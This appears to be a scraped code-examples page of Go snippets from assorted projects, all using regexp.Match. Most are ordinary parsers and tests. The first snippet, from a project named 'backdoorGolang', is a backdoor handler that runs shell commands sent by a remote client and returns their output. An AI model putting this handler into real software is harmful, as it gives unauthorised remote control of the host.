コード例 #1
0
ファイル: server.go プロジェクト: pilebones/backdoorGolang
/**
 * Manage instruction from client
 *
 * @param client - Client object
 * @param buffer - Client input
 */
func instructionParser(client *Client, buffer []byte) bool {
	if matched, _ := regexp.Match("^/(quit|exit)$", buffer); matched { // Logout Instruction
		client.Close()
		return true
	} else if matched, _ := regexp.Match("^/cmd (.+)", buffer); matched { // Command Instruction
		r := regexp.MustCompile(`^/cmd (?P<command>.*)`)
		matches := r.FindStringSubmatch(string(buffer))
		if 1 < len(matches) {
			// Handle error if running failed
			defer func() {
				if err := recover(); err != nil {
					// Handle our error.
					fmt.Printf("[%s] Unable to execute command, error : %s\n", client.GetId(), err)
					client.SendMessage(fmt.Sprintf("Unable to execute the command, error : %s\n", err))
				}
			}()

			command := matches[1]
			fmt.Printf("[%s] Execute the following system command : %s\n", client.GetId(), command)
			output := cli.ExecShellScriptOrPanic(command)
			client.SendMessage(output)
		}

		// client.SendMessage();
	}

	return false
}
コード例 #2
0
func verify_health_z(host string, registry *Registry, c *C) {
	var req *http.Request
	var resp *http.Response
	var err error
	path := "/healthz"

	req, _ = http.NewRequest("GET", "http://"+host+path, nil)
	bytes := verify_success(req, c)
	match, _ := regexp.Match("ok", bytes)
	c.Check(err, IsNil)
	c.Check(match, Equals, true)

	// Check that healthz does not reply during deadlock
	registry.Lock()
	defer registry.Unlock()

	httpClient := http.Client{
		Transport: &http.Transport{
			Dial: timeoutDialler(),
		},
	}

	req, err = http.NewRequest("GET", "http://"+host+path, nil)
	resp, err = httpClient.Do(req)

	c.Assert(err, Not(IsNil))
	match, _ = regexp.Match("i/o timeout", []byte(err.Error()))
	c.Assert(match, Equals, true)
	c.Check(resp, IsNil)

}
コード例 #3
0
func TestThatThereIsNoLeakingGoRoutine(t *testing.T) {
	logger := loggertesthelper.Logger()
	server := startHTTPServer()
	defer server.Close()

	authorizer := NewLogAccessAuthorizer(server.URL, true)
	authorizer("bearer something", "myAppId", logger)
	time.Sleep(10 * time.Millisecond)

	var buf bytes.Buffer
	goRoutineProfiles := pprof.Lookup("goroutine")
	goRoutineProfiles.WriteTo(&buf, 2)

	match, err := regexp.Match("readLoop", buf.Bytes())
	if err != nil {
		t.Error("Unable to match /readLoop/ regexp against goRoutineProfile")
		goRoutineProfiles.WriteTo(os.Stdout, 2)
	}

	if match {
		t.Error("We are leaking readLoop goroutines.")
	}

	match, err = regexp.Match("writeLoop", buf.Bytes())
	if err != nil {
		t.Error("Unable to match /writeLoop/ regexp against goRoutineProfile")
	}

	if match {
		t.Error("We are leaking writeLoop goroutines.")
		goRoutineProfiles.WriteTo(os.Stdout, 2)
	}
}
コード例 #4
0
ファイル: regex.go プロジェクト: needkane/qiniu
func main() {
	var (
		matched bool
		err     error
	)
	s := "300x300+0-10"
	if matched, err = regexp.MatchString(`[0-9]+[x][0-9]+[+][0-9]+[+][0-9]+`, s); matched {
		fmt.Println("1")
	} else if matched, err = regexp.MatchString(`[0-9]+[x][0-9]+[+][0-9]+[-][0-9]+`, s); matched {
		fmt.Println("2")
	} else if matched, err = regexp.MatchString(`[0-9]+[x][0-9]+[-][0-9]+[-][0-9]+`, s); matched {
		fmt.Println("3")
	} else if matched, err = regexp.MatchString(`[0-9]+[x][0-9]+[-][0-9]+[+][0-9]+`, s); matched {
		fmt.Println("4")
	} else {
		fmt.Println(err)
	}

	/*reg := regexp.MustCompile(`[0-9]+`)
	fmt.Println(reg.Find("500x500+12+13"))*/

	matched, err = regexp.Match("^faceCrop/[0-9]+[x][0-9]+", []byte("faceCrop/50f0x500"))
	fmt.Println("------", matched, err)

	fmt.Println("-------------------------")
	matched, _ = regexp.Match("^animated/(gif2webp|webp2gif)^", []byte("animated/gif2webp"))
	if !matched {
		log.Println("parameters dismatched")
	}
}
コード例 #5
0
ファイル: parser.go プロジェクト: paperlesspost/nachos
func ParseFile(filename string) (status []map[string]string, err error) {
	statusFile, err := ioutil.ReadFile(filename)
	if err != nil {
		return nil, err
	}
	lines := bytes.Split(statusFile, []byte("\n"))
	var fullStack []map[string]string
	currentStack := make(map[string]string)
	for _, l := range lines {
		if comment, _ := regexp.Match("^#", l); !comment {
			if matched, _ := regexp.Match("({|})", l); matched == true {
				if currentStack != nil {
					fullStack = append(fullStack, currentStack)
					currentStack = make(map[string]string)
				}
			} else {
				trimmed := bytes.Trim(l, " ")
				if len(trimmed) > 0 {
					vals := bytes.SplitN(trimmed, []byte("="), 2)
					if len(vals) > 0 {
						currentStack[string(vals[0])] = string(vals[1])
					}
				}
			}
		}
	}
	if currentStack != nil {
		fullStack = append(fullStack, currentStack)
	}
	return fullStack, nil
}
コード例 #6
0
ファイル: glivesvr.go プロジェクト: yangting/glivesvr
func main() {

	file, _ := os.Getwd()

	fmt.Println("glivesvr>>>Glive Server running...")
	e := log.NewLogger(1*log.MB, "/Users/Yate/DevEnv/logs/glive.log")
	if e != nil {
		fmt.Println(e.Error())
		os.Exit(0)
	}

	conf := flag.String("-f", file+"/example.conf", "server config file")
	flag.Parse()
	if *conf == "" {
		println("not has -f paramter")
		os.Exit(0)
	}
	f, e := os.Open(*conf)
	if e != nil {
		println(e.Error())
		os.Exit(0)
	}
	defer f.Close()

	fmt.Println("glivesvr>>>config file reading...")
	paramter := make(map[string]string)
	r := bufio.NewReader(f)
	for v, _, e := r.ReadLine(); e == nil; v, _, e = r.ReadLine() {
		if m, _ := regexp.Match("^#.*", v); m {

		} else if m, _ := regexp.Match(".*=.*", v); m {
			s := string(v)
			if n := strings.Index(s, "="); n != -1 {
				paramter[s[:n]] = s[n+1:]
			}
		}
	}

	p := ":" + paramter["port"]
	add, e := net.ResolveTCPAddr("tcp", p)
	if e != nil {
		log.Error(e.Error())
	}

	mgr := session.ConnMgr{Ob: &session.Observer{Ch: make(chan int)}, Sessions: make(map[int64]*session.Client)}
	go listener(&mgr, add)

	for {
		switch <-mgr.Ob.Ch {
		case 1:
			os.Exit(0)
		default:
			os.Exit(0)
		}
	}
}
コード例 #7
0
ファイル: entry.go プロジェクト: bbh-labs/digitaldigest
func listEntries() []Entry {
	fileinfos, err := ioutil.ReadDir("content")
	if err != nil {
		log.Fatal(err)
	}

	var entries []Entry
	var entry Entry

	for i, fileinfo := range fileinfos {
		name := filenameWithoutExtension(fileinfo.Name())
		if entry.Name != "" && entry.Name != name {
			entries = append(entries, entry)
			entry = Entry{}
		}
		entry.Name = name

		mimeType := mime.TypeByExtension(path.Ext(fileinfo.Name()))
		isImage := strings.HasPrefix(mimeType, "image")
		isVideo := strings.HasPrefix(mimeType, "video")
		isText := strings.HasPrefix(mimeType, "text")

		filename := "content/" + fileinfo.Name()
		if isImage {
			entry.Image = filename
		} else if isVideo {
			entry.Video = filename
		} else if isText && fileinfo.Size() <= 2000 {
			if entry.Video, err = readURLFromFile(filename); err != nil {
				continue
			}
			if entry.IsYoutube, err = regexp.Match(`.*youtube\.com\/.+`, []byte(entry.Video)); err != nil {
				continue
			} else if !entry.IsYoutube {
				if entry.IsVimeo, err = regexp.Match(`.*vimeo\.com\/.+`, []byte(entry.Video)); err != nil {
					continue
				}
			} else if !entry.IsYoutube && !entry.IsVimeo {
				continue
			}
		} else {
			continue
		}

		// It's the last file so just append the current entry
		if i == len(fileinfos)-1 {
			entries = append(entries, entry)
		}
	}

	return entries
}
コード例 #8
0
ファイル: irc.go プロジェクト: Autumn/irc.go
func parse(b []byte) *Message {
	var servername, nick, user, host string
	var command, target, msg string
	words := bytes.Split(b, bytes.NewBufferString(" ").Bytes())

	if len(words) >= 4 {
		if match, _ := regexp.Match("^:", words[0]); match {
			if match, _ := regexp.Match("!|@", words[0]); match {
				i := 1
				for words[0][i] != '!' {
					i++
				}
				nick = bytes.NewBuffer(words[0][1:i]).String()
				j := i + 1
				for words[0][j] != '@' {
					j++
				}
				var wordstart int = i + 1
				if words[0][i+1] == '~' {
					wordstart = i + 2
				}

				user = bytes.NewBuffer(words[0][wordstart:j]).String()
				k := j + 1
				host = bytes.NewBuffer(words[0][k:len(words[0])]).String()
			} else {
				servername = bytes.NewBuffer(words[0][1:len(words[0])]).String()
			}
		}
		command = bytes.NewBuffer(words[1]).String()
		target = bytes.NewBuffer(words[2]).String()
		str := bytes.Join(words[3:len(words)], bytes.NewBufferString(" ").Bytes())
		msg = bytes.NewBuffer(str[1:len(str)]).String()
	} else {
		if match, _ := regexp.Match("PING", words[0]); match {
			command = "PING"
			host = bytes.NewBuffer(words[1][1:len(words[1])]).String()
			fmt.Println(host)
		}
	}

	return &Message{
		Servername: servername,
		Nickname:   nick,
		Username:   user,
		Hostname:   host,
		Command:    command,
		Target:     target,
		Message:    msg,
	}
}
コード例 #9
0
ファイル: terst.go プロジェクト: henrylee2cn/godocdown
func (self *Tester) likeOrUnlike(wantLike bool, have, want interface{}, description ...interface{}) bool {
	test := newTest("Like", have, want, description)
	if !wantLike {
		test.kind = "Unlike"
	}
	didPass := false
	switch want0 := want.(type) {
	case string:
		haveString := stringValue(have)
		didPass, error := regexp.Match(want0, []byte(haveString))
		if !wantLike {
			didPass = !didPass
		}
		if error != nil {
			panic("regexp.Match(" + want0 + ", ...): " + error.Error())
		}
		want = fmt.Sprintf("(?:%v)", want) // Make it look like a regular expression
		return self.hadResult(didPass, test, func() {
			self.Log(self.failMessageForMatch(test, stringValue(have), stringValue(want), wantLike))
		})
	}
	didPass, operator := compare(have, "{}~ ==", want)
	if !wantLike {
		didPass = !didPass
	}
	test.operator = operator
	return self.hadResult(didPass, test, func() {
		self.Log(self.failMessageForLike(test, stringValue(have), stringValue(want), wantLike))
	})
}
コード例 #10
0
ファイル: regex_musings.go プロジェクト: Bobberino/musings
func main() {
	byte_src, str_src := []byte("rahul kumar"), "rahul kumar"

	match, _ := regexp.Match(`\w+\s+\w+`, byte_src)
	fmt.Println(match)

	match, _ = regexp.MatchString(`\w+\s+\w+`, str_src)
	fmt.Println(match)

	r := regexp.MustCompile(`(\w+)\s+(\w+)`)
	byte_tmpl, str_tmpl := []byte("$2, $1"), "$2, $1"
	dst := []byte("Nice to meet you. ")

	fmt.Printf("%s\n", r.Expand(dst, byte_tmpl, byte_src, r.FindSubmatchIndex(byte_src)))
	fmt.Printf("%s\n", r.ExpandString(dst, str_tmpl, str_src, r.FindStringSubmatchIndex(str_src)))

	r = regexp.MustCompile(`(\w+)`)
	fmt.Printf("%s\n", r.Find(byte_src))
	fmt.Printf("%s\n", r.FindAll(byte_src, -1))
	fmt.Printf("%v\n", r.FindAllIndex(byte_src, -1))
	fmt.Printf("%s\n", r.FindAllString(str_src, -1))
	fmt.Printf("%v\n", r.FindAllStringIndex(str_src, -1))
	fmt.Printf("%s\n", r.FindStringSubmatch(str_src))
	fmt.Printf("%s\n", r.FindAllStringSubmatch(str_src, -1))
	fmt.Printf("%v\n", r.FindAllStringSubmatchIndex(str_src, -1))
}
コード例 #11
0
ファイル: lfshook_test.go プロジェクト: marconi/lfshook
// Tests that writing to a tempfile log works.
// Matches the 'msg' of the output and deletes the tempfile.
func TestLogEntryWritten(t *testing.T) {
	log := logrus.New()
	// The colors were messing with the regexp so I turned them off.
	log.Formatter = &logrus.TextFormatter{DisableColors: true}
	tmpfile, err := ioutil.TempFile("", "test_lfshook")
	if err != nil {
		t.Errorf("Unable to generate logfile due to err: %s", err)
	}
	fname := tmpfile.Name()
	defer func() {
		tmpfile.Close()
		os.Remove(fname)
	}()
	hook := NewHook(PathMap{
		logrus.InfoLevel: fname,
	})
	log.Hooks.Add(hook)

	log.Info(expectedMsg)

	if contents, err := ioutil.ReadAll(tmpfile); err != nil {
		t.Errorf("Error while reading from tmpfile: %s", err)
	} else if matched, err := regexp.Match("msg=\""+expectedMsg+"\"", contents); err != nil || !matched {
		t.Errorf("Message read (%s) doesnt match message written (%s) for file: %s", contents, expectedMsg, fname)
	}
}
コード例 #12
0
func TestScriptPath(t *testing.T) {
	cases := []struct {
		Input   string
		Pattern string
	}{
		{
			"/tmp/script.sh",
			`^/tmp/script\.sh$`,
		},
		{
			"/tmp/script_%RAND%.sh",
			`^/tmp/script_(\d+)\.sh$`,
		},
	}

	for _, tc := range cases {
		comm := &Communicator{connInfo: &connectionInfo{ScriptPath: tc.Input}}
		output := comm.ScriptPath()

		match, err := regexp.Match(tc.Pattern, []byte(output))
		if err != nil {
			t.Fatalf("bad: %s\n\nerr: %s", tc.Input, err)
		}
		if !match {
			t.Fatalf("bad: %s\n\n%s", tc.Input, output)
		}
	}
}
コード例 #13
0
ファイル: amerge.go プロジェクト: dulumao/qiniu-ufop-service
func (this *AudioMerger) parse(cmd string) (format string, mime string, bucket string, url string, duration string, err error) {
	pattern := "^amerge/format/[a-zA-Z0-9]+/mime/[0-9a-zA-Z-_=]+/bucket/[0-9a-zA-Z-_=]+/url/[0-9a-zA-Z-_=]+(/duration/(first|shortest|longest)){0,1}$"
	matched, _ := regexp.Match(pattern, []byte(cmd))
	if !matched {
		err = errors.New("invalid amerge command format")
		return
	}

	var decodeErr error
	format = getParam(cmd, "format/[a-zA-Z0-9]+", "format")
	mime, decodeErr = getParamDecoded(cmd, "mime/[0-9a-zA-Z-_=]+", "mime")
	if decodeErr != nil {
		err = errors.New("invalid amerge parameter 'mime'")
		return
	}
	bucket, decodeErr = getParamDecoded(cmd, "bucket/[0-9a-zA-Z-_=]+", "bucket")
	if decodeErr != nil {
		err = errors.New("invalid amerge parameter 'bucket'")
		return
	}
	url, decodeErr = getParamDecoded(cmd, "url/[0-9a-zA-Z-_=]+", "url")
	if decodeErr != nil {
		err = errors.New("invalid amerge parameter 'url'")
		return
	}
	duration = getParam(cmd, "duration/(first|shortest|longest)", "duration")
	if duration == "" {
		duration = "longest"
	}
	return
}
コード例 #14
0
ファイル: header.go プロジェクト: intfrr/blacksheepwall
// Performs http(s) request and parses possible 'Location' headers.
func hostnameFromHTTPLocationHeader(ip, protocol string, timeout int64) (string, error) {
	req, err := http.NewRequest("GET", protocol+"://"+ip, nil)
	if err != nil {
		return "", err
	}
	tr := &http.Transport{
		Dial: func(network, addr string) (net.Conn, error) {
			return net.DialTimeout(network, addr, time.Duration(timeout)*time.Millisecond)
		},
		TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
	}
	res, err := tr.RoundTrip(req)
	if err != nil {
		return "", err
	}
	location := res.Header["Location"]
	if location != nil {
		u, err := url.Parse(location[0])
		if err != nil {
			return "", err
		}
		host := u.Host
		if m, _ := regexp.Match("[a-zA-Z]+", []byte(host)); m == true {
			return host, nil
		}
		return "", fmt.Errorf("%v: unsuccessful header match", ip)
	}
	return "", fmt.Errorf("%v: unsuccessful header match", ip)
}
コード例 #15
0
ファイル: db_tunnel.go プロジェクト: carriercomm/cli-8
func DbTunnelAutoComplete(c *cli.Context) error {
	appName := CurrentAppCompletion(c)
	if appName == "" {
		return nil
	}

	lastArg := ""
	if len(os.Args) > 2 {
		lastArg = os.Args[len(os.Args)-2]
	}

	if !strings.HasPrefix(lastArg, "-") {
		client := config.ScalingoClient()
		variables, err := client.VariablesList(appName)
		if err == nil {

			for _, v := range variables {
				if matched, err := regexp.Match("SCALINGO_.*_URL", []byte(v.Name)); matched && err == nil {
					fmt.Println(v.Name)
				}
			}
		}
	}

	return nil
}
コード例 #16
0
ファイル: util.go プロジェクト: uwork/gorond
// 指定したディレクトリにあるpatternにマッチするファイルリストを取得する
func FileList(dir string, pattern string) ([]string, error) {
	files := []string{}

	if stat, err := os.Stat(dir); stat == nil || !stat.IsDir() {
		log.Println(dir + " is not directory")
		return files, err
	}

	infos, err := ioutil.ReadDir(dir)
	if err != nil {
		return files, nil
	}

	for _, info := range infos {
		name := info.Name()
		matched, err := regexp.Match(pattern, []byte(name))
		if err != nil {
			return files, err
		}
		if matched {
			files = append(files, name)
		}
	}

	return files, nil
}
コード例 #17
0
ファイル: cfssl.go プロジェクト: levenlabs/locksmith
func request(path string, req []byte) (*cfsslResult, error) {
	url := config.CFSSLAddr + path
	if matched, _ := regexp.Match("/^https?://.*", []byte(url)); !matched {
		url = "http://" + url
	}
	r, err := http.NewRequest("POST", url, bytes.NewBuffer(req))
	if err != nil {
		return nil, err
	}
	r.Header.Set("Content-Type", "application/json")

	res, err := http.DefaultClient.Do(r)
	if err != nil {
		return nil, err
	}
	defer res.Body.Close()

	d := json.NewDecoder(res.Body)
	var cr cfsslResult
	err = d.Decode(&cr)
	if err != nil {
		return nil, err
	}
	if !cr.Success {
		return nil, fmt.Errorf("Errors requesting cfssl %v", cr.Errors)
	}
	return &cr, nil
}
コード例 #18
0
ファイル: vbm.go プロジェクト: polvi/boot2docker-cli
// Get the state of a VM.
func status(vm string) vmState {
	// Check if the VM exists.
	args := []string{"list", "vms"}
	out, err := vbmOut(args...)
	if err != nil {
		if ee, ok := err.(*exec.Error); ok && ee == exec.ErrNotFound {
			return vmVBMNotFound
		}
		return vmUnknown
	}
	found, err := regexp.Match(fmt.Sprintf(`(?m)^"%s"`, regexp.QuoteMeta(vm)), out)
	if err != nil {
		return vmUnknown
	}
	if !found {
		return vmUnregistered
	}

	if out, err = exec.Command(B2D.VBM, "showvminfo", vm, "--machinereadable").Output(); err != nil {
		if ee, ok := err.(*exec.Error); ok && ee == exec.ErrNotFound {
			return vmVBMNotFound
		}
		return vmUnknown
	}
	groups := regexp.MustCompile(`(?m)^VMState="(\w+)"\r?$`).FindSubmatch(out)
	if len(groups) < 2 {
		return vmUnknown
	}
	switch state := vmState(groups[1]); state {
	case vmRunning, vmPaused, vmSaved, vmPoweroff, vmAborted:
		return state
	default:
		return vmUnknown
	}
}
コード例 #19
0
ファイル: consumer.go プロジェクト: saminou/oplogc
// loadLastEventID tries to read the last event id from the state file.
//
// If the StateFile option was not set, the id will always be an empty string
// as for tailing only future events.
//
// If the StateFile option is set but no file exists, the last event id is
// initialized to "0" in order to request a full replication if AllowReplication
// option is set to true or to an empty string otherwise (start at present).
func (c *Consumer) loadLastEventID() (id string, err error) {
	if c.options.StateFile == "" {
		return "", nil
	}
	_, err = os.Stat(c.options.StateFile)
	if os.IsNotExist(err) {
		if c.options.AllowReplication {
			// full replication
			id = "0"
		} else {
			// start at NOW()
			id = ""
		}
		err = nil
	} else if err == nil {
		var content []byte
		content, err = ioutil.ReadFile(c.options.StateFile)
		if err != nil {
			return
		}
		if match, _ := regexp.Match("^(?:[0-9]{0,13}|[0-9a-f]{24})$", content); !match {
			err = errors.New("state file contains invalid data")
		}
		id = string(content)
	}
	return
}
コード例 #20
0
ファイル: verify.go プロジェクト: tobi/go-openid
// Like Verify on a parsed URL
func VerifyValues(values url.Values) (grant bool, identifier string, err error) {
	err = nil

	var postArgs url.Values
	postArgs = url.Values(map[string][]string{})

	// Create the url
	URLEndPoint := values.Get("openid.op_endpoint")
	if URLEndPoint == "" {
		log.Printf("no openid.op_endpoint")
		return false, "", errors.New("no openid.op_endpoint")
	}
	for k, v := range values {
		postArgs[k] = v
	}
	postArgs.Set("openid.mode", "check_authentication")
	postContent := postArgs.Encode()

	// Post the request
	var client = new(http.Client)
	postReader := bytes.NewBuffer([]byte(postContent))
	response, err := client.Post(URLEndPoint, "application/x-www-form-urlencoded", postReader)
	if err != nil {
		log.Printf("VerifyValues failed at post")
		return false, "", err
	}

	// Parse the response
	// Convert the reader
	// We limit the size of the response to 1024 bytes but it should be large enough for most cases
	buffer := make([]byte, 1024)
	_, err = response.Body.Read(buffer)
	if err != nil {
		log.Printf("VerifyValues failed reading response")
		return false, "", err
	}

	// Check for ns
	rematch := REVerifyDirectNs.FindSubmatch(buffer)
	if rematch == nil {
		return false, "", errors.New("VerifyValues: ns value not found on the response of the OP")
	}
	nsValue := string(rematch[1])
	if !bytes.Equal([]byte(nsValue), []byte("http://specs.openid.net/auth/2.0")) {
		return false, "", errors.New("VerifyValues: ns value not correct: " + nsValue)
	}

	// Check for is_valid
	match, err := regexp.Match(REVerifyDirectIsValid, buffer)
	if err != nil {
		return false, "", err
	}

	identifier = values.Get("openid.claimed_id")
	if !match {
		log.Printf("no is_valid:true in \"%s\"", buffer)
	}

	return match, identifier, nil
}
コード例 #21
0
ファイル: toc.go プロジェクト: kcyeu/kubernetes
// builds table of contents for markdown file
//
// First scans for all section headers (lines that begin with "#" but not within code quotes)
// and builds a table of contents from those.  Assumes bookmarks for those will be
// like #each-word-in-heading-in-lowercases-with-dashes-instead-of-spaces.
// builds the ToC.
func buildTOC(markdown []byte) ([]byte, error) {
	var buffer bytes.Buffer
	scanner := bufio.NewScanner(bytes.NewReader(markdown))
	inBlockQuotes := false
	for scanner.Scan() {
		line := scanner.Text()
		match, err := regexp.Match("^```", []byte(line))
		if err != nil {
			return nil, err
		}
		if match {
			inBlockQuotes = !inBlockQuotes
			continue
		}
		if inBlockQuotes {
			continue
		}
		noSharps := strings.TrimLeft(line, "#")
		numSharps := len(line) - len(noSharps)
		heading := strings.Trim(noSharps, " \n")
		if numSharps > 0 {
			indent := strings.Repeat("  ", numSharps-1)
			bookmark := strings.Replace(strings.ToLower(heading), " ", "-", -1)
			tocLine := fmt.Sprintf("%s- [%s](#%s)\n", indent, heading, bookmark)
			buffer.WriteString(tocLine)
		}

	}
	if err := scanner.Err(); err != nil {
		return []byte{}, err
	}

	return buffer.Bytes(), nil
}
コード例 #22
0
ファイル: regex.go プロジェクト: hillzhang/log_collection
func IsEmailVaild(email string) bool {
	match, err := regexp.Match("^[a-zA-Z0-9_-]+@[a-zA-Z0-9_-]+(\\.[a-zA-Z0-9_-]+)$", []byte(email))
	if err != nil {
		return false
	}
	return match
}
コード例 #23
0
ファイル: helm.go プロジェクト: michelleN/helm
// ExpectMatches assert a ~= b
func ExpectMatches(t *testing.T, actual string, expected string) {
	regexp := regexp.MustCompile(expected)

	if !regexp.Match([]byte(actual)) {
		t.Errorf("\n[Expected] %v\nto contain %v\n", actual, expected)
	}
}
コード例 #24
0
ファイル: log_test.go プロジェクト: joshsammut/go-tools
func TestFlagAndPrefixSetting(t *testing.T) {
	var b bytes.Buffer
	l := New(&b, "Test:", LstdFlags)
	f := l.Flags()
	if f != LstdFlags {
		t.Errorf("Flags 1: expected %x got %x", LstdFlags, f)
	}
	l.SetFlags(f | Lmicroseconds)
	f = l.Flags()
	if f != LstdFlags|Lmicroseconds {
		t.Errorf("Flags 2: expected %x got %x", LstdFlags|Lmicroseconds, f)
	}
	p := l.Prefix()
	if p != "Test:" {
		t.Errorf(`Prefix: expected "Test:" got %q`, p)
	}
	l.SetPrefix("Reality:")
	p = l.Prefix()
	if p != "Reality:" {
		t.Errorf(`Prefix: expected "Reality:" got %q`, p)
	}
	// Verify a log message looks right, with our prefix and microseconds present.
	l.Print("hello")
	pattern := "^Reality:" + Rdate + " " + Rtime + Rmicroseconds + " hello\n"
	matched, err := regexp.Match(pattern, b.Bytes())
	if err != nil {
		t.Fatalf("pattern %q did not compile: %s", pattern, err)
	}
	if !matched {
		t.Error("message did not match pattern")
	}
}
コード例 #25
0
ファイル: regex.go プロジェクト: hillzhang/log_collection
func IsIpaddValid(ip string) bool {
	match, err := regexp.Match("^(\\d{1,2}|1\\d\\d|2[0-4]\\d|25[0-5])\\.(\\d{1,2}|1\\d\\d|2[0-4]\\d|25[0-5])\\.(\\d{1,2}|1\\d\\d|2[0-4]\\d|25[0-5])\\.(\\d{1,2}|1\\d\\d|2[0-4]\\d|25[0-5])$", []byte(ip))
	if err != nil {
		return false
	}
	return match
}
コード例 #26
0
ファイル: openid.go プロジェクト: Epictetus/wfdr
func (o *OpenID) VerifyDirect() (grant bool, err os.Error) {
	grant = false
	err = nil

	o.Params["openid.mode"] = "check_authentication"

	headers := make(http.Header, 1)
	headers.Add("Content-Type", "application/x-www-form-urlencoded")

	url, _ := http.URLUnescape(o.Params["openid.op_endpoint"])
	fmt.Printf("Verification: %s\nParams: %s\n", url, mapToUrlEnc(o.Params))
	r, error := post(url,
		headers,
		bytes.NewBuffer([]byte(mapToUrlEnc(o.Params))))
	if error != nil {
		fmt.Printf("erreur: %s\n", error.String())
		err = error
		return
	}
	fmt.Printf("Post done\n")
	if r != nil {
		buffer := make([]byte, 1024)
		fmt.Printf("Buffer created\n")
		io.ReadFull(r.Body, buffer)
		fmt.Printf("Body extracted: %s\n", buffer)
		grant, err = regexp.Match("is_valid:true", buffer)
		fmt.Printf("Response: %v\n", grant)
	} else {
		err = os.ErrorString("No response from POST verification")
		return
	}

	return
}
コード例 #27
0
ファイル: regex.go プロジェクト: hillzhang/log_collection
func IsPhoneVaild(phone string) bool {
	match, err := regexp.Match("^0{0,1}(13[0-9]|15[7-9]|153|156|18[7-9])[0-9]{8}$", []byte(phone))
	if err != nil {
		return false
	}
	return match
}
コード例 #28
0
ファイル: ping.go プロジェクト: lfkeitel/utils
// Ping a host using the linux ping utility
func Ping(host string, ipv6 bool) (string, error) {
	matched, err := regexp.Match(`^[\w._:-]+$`, []byte(host))
	if err != nil {
		return "", err
	}
	if !matched {
		return "", errors.New("invalid host/IP")
	}
	six := ""
	if ipv6 {
		six = "6"
	}
	// -c: packet count, -w: timeout in seconds
	out, err := exec.Command("ping"+six, "-c", "1", "-w", "3", "--", host).Output()
	if err != nil {
		errs := fmt.Sprintf("%s", err)
		if errs == "exit status 1" {
			return "", errors.New("timeout")
		}
		if errs == "exit status 2" {
			return "", errors.New("unknown host")
		}
		return "", err
	}
	r, err := regexp.Compile(`\d+ bytes from .*`)
	if err != nil {
		return "", err
	}
	line := r.Find(out)
	if line == nil {
		return "", errors.New("cannot parse ping output")
	}
	return string(line), nil
}
コード例 #29
0
ファイル: issue9355.go プロジェクト: danny8002/go
func main() {
	if runtime.Compiler != "gc" || runtime.GOOS == "nacl" {
		return
	}

	err := os.Chdir(filepath.Join("fixedbugs", "issue9355.dir"))
	check(err)

	out := run("go", "tool", "compile", "-S", "a.go")
	os.Remove("a.o")

	// 6g/8g print the offset as dec, but 5g/9g print the offset as hex.
	patterns := []string{
		`rel 0\+\d t=1 \"\"\.x\+8\r?\n`,       // y = &x.b
		`rel 0\+\d t=1 \"\"\.x\+(28|1c)\r?\n`, // z = &x.d.q
		`rel 0\+\d t=1 \"\"\.b\+5\r?\n`,       // c = &b[5]
		`rel 0\+\d t=1 \"\"\.x\+(88|58)\r?\n`, // w = &x.f[3].r
	}
	for _, p := range patterns {
		if ok, err := regexp.Match(p, out); !ok || err != nil {
			println(string(out))
			panic("can't find pattern " + p)
		}
	}
}
コード例 #30
0
ファイル: main.go プロジェクト: efarrer/Euler-in-google-go
func main() {
	runtime.GOMAXPROCS(1)

	total := int64(0)
	for i := int64(3); ; i++ {
		strI := strconv.FormatInt(i, 10)
		digits := charsToInt64(strI)
		sum := int64(0)
		for _, d := range digits {
			sum += fact(d)
		}
		if sum == i {
			total += sum
		}

		// If the number is all 9's and it's bigger than the sum(fact(digits))
		// then we won't ever find another match
		if matched, _ := regexp.Match("^9+$", []byte(strI)); matched {
			if i > sum {
				break
			}
		}
	}

	fmt.Printf("%v", total)
}